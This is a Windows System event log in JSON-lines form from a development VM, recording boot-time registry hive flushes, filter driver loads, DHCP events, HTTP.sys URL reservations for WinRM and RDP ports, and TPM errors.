{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.853644Z"}},"EventRecordID":3054,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":788}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":56,"HiveName":"\\??\\C:\\Windows\\ServiceProfiles\\NetworkService\\NTUSER.DAT","KeysUpdated":86,"DirtyPages":15}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.925446Z"}},"EventRecordID":3055,"Correlation":null,"Execution":{"#attributes":{"ProcessID":936,"ThreadID":1012}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":31,"HiveName":"\\SystemRoot\\System32\\Config\\BBI","KeysUpdated":261,"DirtyPages":60}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.929613Z"}},"EventRecordID":3056,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":916}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":54,"HiveName":"\\??\\C:\\Windows\\ServiceProfiles\\LocalService\\NTUSER.DAT","KeysUpdated":54,"DirtyPages":13}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.991595Z"}},"EventRecordID":3057,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":360}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":3,"DeviceName":"bfs","DeviceTime":"2013-09-13T20:21:10.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":49152},"#text":7000},"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.993283Z"}},"EventRecordID":3058,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":1400}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"param1":"luafv","param2":"%%1275","Binary":"6C0075006100660076000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:20.996806Z"}},"EventRecordID":3059,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":5,"DeviceName":"wcifs","DeviceTime":"2086-02-07T15:15:17.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.001576Z"}},"EventRecordID":3060,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":6,"DeviceName":"CldFlt","DeviceTime":"2018-07-22T21:56:08.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":1,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.001580Z"}},"EventRecordID":3061,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":6,"DeviceName":"CldFlt","DeviceTime":"2018-07-22T21:56:08.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.001612Z"}},"EventRecordID":3062,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":6,"DeviceName":"CldFlt","DeviceTime":"2018-07-22T21:56:08.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.017906Z"}},"EventRecordID":3063,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":10,"DeviceName":"storqosflt","DeviceTime":"2065-11-24T23:15:59.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.021714Z"}},"EventRecordID":3064,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":220}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":7,"DeviceName":"bindflt","DeviceTime":"2032-10-19T17:22:30.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50036,"Version":0,"Level":4,"Task":4,"Opcode":68,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.069426Z"}},"EventRecordID":3065,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1720,"ThreadID":1888}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50103,"Version":0,"Level":4,"Task":4,"Opcode":129,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.069455Z"}},"EventRecordID":3066,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1720,"ThreadID":1888}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Dhcp-Client","Guid":"15A7A4F8-0072-4EAB-ABAD-F98A4D666AED"}},"EventID":50036,"Version":0,"Level":4,"Task":4,"Opcode":68,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.071720Z"}},"EventRecordID":3067,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1720,"ThreadID":1888}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DHCPv6-Client","Guid":"6A1F2B00-6A90-4C38-95A5-5CAB3B056778"}},"EventID":51046,"Version":0,"Level":4,"Task":4,"Opcode":62,"Keywords":"0x2000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.098069Z"}},"EventRecordID":3068,"Correlation":null,"Execution":{"#attributes":{"ProcessID":1720,"ThreadID":1508}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-19"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Hyper-V-VmSwitch","Guid":"67DC0D66-3695-47C0-9642-33F76F7BD7AD"}},"EventID":277,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000080","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.287850Z"}},"EventRecordID":3069,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":120}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"BuildNumber":22621,"BuildArch":"amd64","BuildBranch":"ni_release_svc_prod1","Debug":false,"Official":true,"Date":"1","Time":"1"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359837Z"}},"EventRecordID":3070,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://*:5357/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359842Z"}},"EventRecordID":3071,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:80/Temporary_Listen_Addresses/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359845Z"}},"EventRecordID":3072,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://*:5358/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359849Z"}},"EventRecordID":3073,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:5986/wsman/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359852Z"}},"EventRecordID":3074,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:47001/wsman/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359855Z"}},"EventRecordID":3075,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:5985/wsman/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359859Z"}},"EventRecordID":3076,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://*:2869/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359862Z"}},"EventRecordID":3077,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:80/0131501b-d67f-491b-9a40-c4bf27bcb4d4/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359866Z"}},"EventRecordID":3078,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:443/C574AC30-5794-4AEE-B1BB-6651C5315029/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359869Z"}},"EventRecordID":3079,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:80/116B50EB-ECE2-41ac-8429-9F9E963361B7/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359873Z"}},"EventRecordID":3080,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:443/sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359876Z"}},"EventRecordID":3081,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:10245/WMPNSSv4/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359879Z"}},"EventRecordID":3082,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:10243/WMPNSSv4/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359881Z"}},"EventRecordID":3083,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"https://+:3392/rdp/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359884Z"}},"EventRecordID":3084,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:3387/rdp/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359886Z"}},"EventRecordID":3085,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:10246/MDEServer/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-HttpService","Guid":"DD5EF90A-6398-47A4-AD34-4DCECDEF795F"}},"EventID":112,"Version":0,"Level":4,"Task":3,"Opcode":121,"Keywords":"0x4000000000000001","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.359890Z"}},"EventRecordID":3086,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":124}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Url":"http://+:10247/apps/","ReserveStatus":0,"ProcessId":4,"ExecutablePath":"","UserSid":"S-1-5-18"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":49152},"#text":7026},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.571914Z"}},"EventRecordID":3087,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":788}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"param1":"\r\ndam"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-TPM-WMI","Guid":"7D5387B0-CBE0-11DA-A94D-0800200C9A66"}},"EventID":1796,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:22.180226Z"}},"EventRecordID":3088,"Correlation":null,"Execution":{"#attributes":{"ProcessID":3408,"ThreadID":1788}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HResult":-2147020471}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":18,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.267544Z"}},"EventRecordID":3089,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":260}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x14","lineNumber":217,"Data":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.293761Z"}},"EventRecordID":3090,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.293840Z"}},"EventRecordID":3091,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.299555Z"}},"EventRecordID":3092,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
